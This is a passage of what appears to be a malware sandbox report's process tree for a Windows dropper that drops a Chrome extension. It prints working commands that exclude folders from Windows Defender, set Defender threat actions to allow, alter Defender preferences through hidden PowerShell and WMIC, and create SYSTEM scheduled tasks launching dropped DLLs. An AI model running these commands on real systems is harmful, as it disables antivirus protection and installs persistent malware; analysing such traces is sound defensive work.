                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2444
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1672
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1620
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1716
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2716
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2872
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1624
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2084
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1912
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2616
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2064
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2864
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1036
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:2748
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1480
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1420
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                      4⤵
                                                                                                      • Windows security bypass
                                                                                                      PID:1856
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                      4⤵
                                                                                                        PID:1768
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
                                                                                                        4⤵
                                                                                                          PID:1828
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
                                                                                                          4⤵
                                                                                                            PID:1544
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
                                                                                                            4⤵
                                                                                                              PID:988
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                              4⤵
                                                                                                                PID:1336
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                4⤵
                                                                                                                  PID:832
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
                                                                                                                  4⤵
                                                                                                                    PID:324
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
                                                                                                                    4⤵
                                                                                                                      PID:2004
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:1868
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                        4⤵
                                                                                                                          PID:1596
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:32
                                                                                                                          4⤵
                                                                                                                            PID:2644
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:64
                                                                                                                            4⤵
                                                                                                                              PID:2292
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                              4⤵
                                                                                                                                PID:2920
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                4⤵
                                                                                                                                  PID:2000
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:32
                                                                                                                                  4⤵
                                                                                                                                    PID:960
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    4⤵
                                                                                                                                      PID:3000
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                                                      4⤵
                                                                                                                                        PID:1424
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        4⤵
                                                                                                                                          PID:2456
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 03:18:44 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\xflAGlU.exe\" GH /PQYfdiddm 385118 /S" /V1 /F
                                                                                                                                        3⤵
                                                                                                                                        • Drops file in Windows directory
                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                        PID:2504
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /run /I /tn "XyyyteIMwZeutaZuw"
                                                                                                                                        3⤵
                                                                                                                                          PID:2856
                                                                                                                                      • C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\xflAGlU.exe
                                                                                                                                        C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\xflAGlU.exe GH /PQYfdiddm 385118 /S
                                                                                                                                        2⤵
                                                                                                                                        • Checks computer location settings
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Drops Chrome extension
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                        PID:2492
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                          3⤵
                                                                                                                                            PID:2444
                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                              4⤵
                                                                                                                                                PID:1696
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                  5⤵
                                                                                                                                                    PID:2736
                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                      6⤵
                                                                                                                                                        PID:1616
                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:2036
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                        5⤵
                                                                                                                                                          PID:2516
                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                            6⤵
                                                                                                                                                              PID:2688
                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                          4⤵
                                                                                                                                                            PID:1716
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                              5⤵
                                                                                                                                                                PID:2732
                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:888
                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:2204
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:2692
                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:1324
                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:1648
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:2968
                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                              6⤵
                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                              PID:1432
                                                                                                                                                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                7⤵
                                                                                                                                                                                  PID:1264
                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                          schtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:1396
                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:2408
                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1820
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:1096
                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                        6⤵
                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                        PID:1108
                                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                          7⤵
                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                          PID:1776
                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:740
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:1072
                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                            6⤵
                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                            PID:1564
                                                                                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                                                                                                              7⤵
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:2816
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\bhVwPH.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                      PID:1472
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\mHXbmJt.xml" /RU "SYSTEM"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                      PID:2336
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /END /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:2188
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /DELETE /F /TN "FPieTEPPuEmJrhC"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1420
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "RMEgILKoRohUOb" /F /xml "C:\Program Files (x86)\DQANlvmTAvZU2\kqDDWSJ.xml" /RU "SYSTEM"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:836
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "zeKFSgsyWsBDI2" /F /xml "C:\ProgramData\VyWMmqtuSNndeGVB\UyOWHhk.xml" /RU "SYSTEM"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:332
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "VMffJjKqhXQmtrZGW2" /F /xml "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\mpppKYY.xml" /RU "SYSTEM"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:1744
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "iNxHEAmPUdTkVvEiVFU2" /F /xml "C:\Program Files (x86)\PZjcxajBIsNTC\UBaOJif.xml" /RU "SYSTEM"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:2816
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 04:54:09 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\ZLxUPBjd\KAtawQw.dll\",#1 /vPAdidut 385118" /V1 /F
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:988
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /run /I /tn "rrqYunoktxOQmCoCX"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:2748
                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                            schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:1504
                                                                                                                                                                                          • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                            C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\ZLxUPBjd\KAtawQw.dll",#1 /vPAdidut 385118
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:3068
                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\ZLxUPBjd\KAtawQw.dll",#1 /vPAdidut 385118
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                PID:2964
                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                  schtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:1424
                                                                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Program Files (x86)\DQANlvmTAvZU2\BbkhbVhwLPxHY.dll",#1
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:4024
                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Program Files (x86)\DQANlvmTAvZU2\BbkhbVhwLPxHY.dll",#1
                                                                                                                                                                                                    3⤵
